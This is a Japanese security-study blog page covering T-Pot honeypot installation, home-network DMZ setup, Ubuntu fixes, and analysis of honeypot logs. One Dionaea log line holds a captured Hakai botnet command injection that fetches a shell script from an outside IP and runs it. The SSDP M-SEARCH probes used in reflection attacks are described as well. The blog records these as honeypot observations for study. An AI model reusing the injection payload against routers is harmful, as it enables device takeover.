セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【ハニポ】T-potの導入

つい先日までdionaeaを運用していたのですが、急遽T-potを栽培することに。理由は色々ありますが、一番の原因はDionaeaFRが動かなかったこと。(いや動かすところまでは頑張った。。)てことで、前まではVPS上で動いていたハニポを自宅に置きます!

動作環境

$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
$ uname -a
Linux originalmini 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 08:54:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

環境構築

基本的にやることは少ないです。
公式
流れとしては、ユーザの生成→鍵生成→インストールの流れです。鍵生成のところをrootのままやると詰まるらしいので、気を付けてください。うまくいかなかったら上にあげた参考サイトさんを参考にしてみてください。
今回はt-potというユーザを作成してから導入します。

//ここはsuとか権限付きで
# adduser t-pot
# gpasswd -a your-user sudo


//ここはt-pot(権限なし)ユーザで
$ ssh-keygen -t rsa -b 4096
$ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys 



$ git clone https://github.com/dtag-dev-sec/t-pot-autoinstall.git

//ここからまた権限付き
$ sudo su -
# cd ./t-pot-autoinstall
# ./intall.sh
Make sure the SSH login for your normal user is working!

Which user do you usually work with? This script is invoked by root, but what is your normal username?
Enter username: t-pot  //ハニポを使用するユーザを指定します。今回はt-potユーザを指定します。


このinstall.shを走らせた時に、SSH is not runningと表示されてエラーになった場合、sshサーバを別途インストールする必要があります。

$ sudo apt-get install openssh-server
$ sudo service sshd restart

無事インストールが始まります。終わったら再起動でCUI画面にT-POTのAAが表示されるはずです。基本的にこれでもう終了。

後は放置ですがノートパソコンでやっているので画面がついたままです。xsetで消したかったのですが消えなかったので、輝度を0にすることで代用します。

cd /sys/class/backlight/intel_backlight
sudo sh -c "echo 0 > brightness"

0を100とか500にすれば明るくなります。これ0にすると完全に消えるので、つけるときに大変です。historyにあらかじめ残しておくか、最悪rebootをかければ画面ついた状態で戻ってきます。


IPアドレスとかDMZ

動作環境の指定として"DHCP下で"とのことでしたが、静的なローカルアドレスの割り振りでも現状動作しています。元々NTTのONU兼ルータ(不正確)みたいな機器側で特定のアドレスに外部からのアクセスを全て流す(簡易DMZ)設定を使用して、ハニポに攻撃を受け挿す予定だったので、ローカルIPはできれば固定が嬉しかったのです。DHCPで自動割り当てさせると他の機器に勝手に割り当てられた時、怖いので。てことで、ハニポの機器は固定ローカルIP→アクセスを設定で流してくる の流れで運用できています。ちなみに携帯とか繋げるネットワークはもう一個ルーターを挟んでいるので、多分大丈夫でしょうか?

雑だけどイメージとしてはこんな感じ
f:id:thinline196:20180930183401p:plain

ここのあたりの知識が少ないので、セキュアじゃなかったらと思うと心配ではあります、、。t-potが公開するハニポの統計サイトへアクセスするときは現状ONUに有線接続して同じローカルエリア内に入ってアクセスしてます。




その他

別途変更したこととして

です。特にデュアルブートに変更するところは、色々と苦労しました。(機器的な問題で)多分植えるより、植えるまでの環境整備が大変でしょう。





とりあえずこの状態でしばらく運用してみようと思います。以上

ubuntu PCIE Bus Error

以下のようなエラーがCUI上にバンバン出てきて困りました。

 PCIe Bus Error: severity=Corrected, type=Physical Layer,id=0030(Receiver ID)


私は以下のように変更することで治りはしませんでしたが、出力される頻度は格段に減りました。一応共有しておきます。

====2018/10/2追記======
そういえばこの後すぐ、このエラーは出力されなくなりました。
====追記ここまで=======

$ sudo vim /etc/default/grub

#GRUB_CMDLINE_LINUX_DEFAULT="quiet splash pci=nomsi"
GRUB_CMDLINE_LINUX="text pci=nomsi"


t-potを導入してrebootした際に出始めました。

ubuntu GUI版をCUI表示にする

systemdが適用されたUbuntuでは以下のようにしてCUIに変更が可能

sudo systemctl set-default multi-user.target 

デュアルブートubuntuを走られせていたのですが、変更後再起動したら真っ暗な画面が延々と表示されヒヤヒヤしましたが、[f1]キーを押すとログイン画面が表示されます。

HAKAIボットネットからの攻撃と思われるログ(2018-9-24)

短めです。下のログはdionaeaで検知したログ。スペースと改行の表記がうまくできていないのはご了承ください。

stream = [('in', b'GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1\x0d\x0aConnection: keep-alive\x0d\x0aAccept-Encoding: gzip, deflate\x0d\x0aAccept: /\x0d\x0aUser-Agent: Hakai/2.0\x0d\x0a\x0d\x0a')


個人的に今日の昼ごろ、こちらのサイトさんでちょうどボットネットの攻撃について読んでいたので、自分のハニポを調べたらありました。(ちょっと嬉しい)引用ですが、

新しいサンプルには、D-LinkのDSL-2750B デバイスを対象としたOS Command Injectionエクスプロイトも組み込まれていることが分かりました。これらより新しいサンプルは、以前のサンプルと同じ攻撃手法、暗号化キー、C2を使っています。

とありますが、今回の攻撃ログはこのD-Linkルータを狙ったものと思われます。また引用元のペイロードは"hxxp:// 178[.]128.185.250/e"ですが、こちらも若干変わっています。
f:id:thinline196:20180926003620p:plain



この日は37件のhttpへのリクエストに対して1件がこのログでした。


と、今更な内容でしたが、個人的なまとめでした。

dionaeaのログをちょっと見てみる2

今回は短く、UPnPのログに関して。

UPnP

ウィキペディアさんには、Universal Plug and Play (UPnP)は、機器を接続しただけでコンピュータネットワークに参加することを可能にするプロトコルである。機器をコンピュータに接続するだけで利用可能になるPlug and Play(プラグアンドプレイ)の概念をネットワークに拡張したものといえるが、直接的な関連はない。と書いてあります。

他のサイトさんには、

UPnPを用いれば、ネットワークパラメータを機器自身が正しく設定でき、またネットワーク上にどのような機器が存在しているか、他機器がどんな機能を持ったものなのかを知ることもできる。また物理的にどのような線(もしくは電波)で結ばれていようと、ひとつのIPネットワークになっていれば、互いにどのような形態で接続されているかは意識しなくていい。

http://www.itmedia.co.jp/broadband/0210/18/honda4.html

他調べてみると現在はそれほど使われてはいなさそうなプロトコルな感じがします。

リフレクター攻撃

ログは一日数件なのですが、以下のようなログがほとんどです。

tream = [('in', b'M-SEARCH * HTTP/1.1\x0d\x0aHost:239.255.255.250:1900\x0d\x0aST:upnp:rootdevice\x0d\x0aMan:"ssdp:discover"\x0d\x0aMX:3\x0d\x0a\x0d\x0a')


調べた所このような資料が、
https://www.npa.go.jp/cyberpolice/detect/pdf/20141017.pdf

上のようなM-SEARCHメッセージが送られて来ると、UPnP対応の機器はより大きいメッセージをレスポンスとして返すらしい。これを利用して、他サーバに負荷をかける攻撃に利用されるとのこと。一般的な対応としては、FWによる遮断、サービスの停止、使用しているのであれば外部からのM-SEARCHを遮断するなどの対策があるらしい。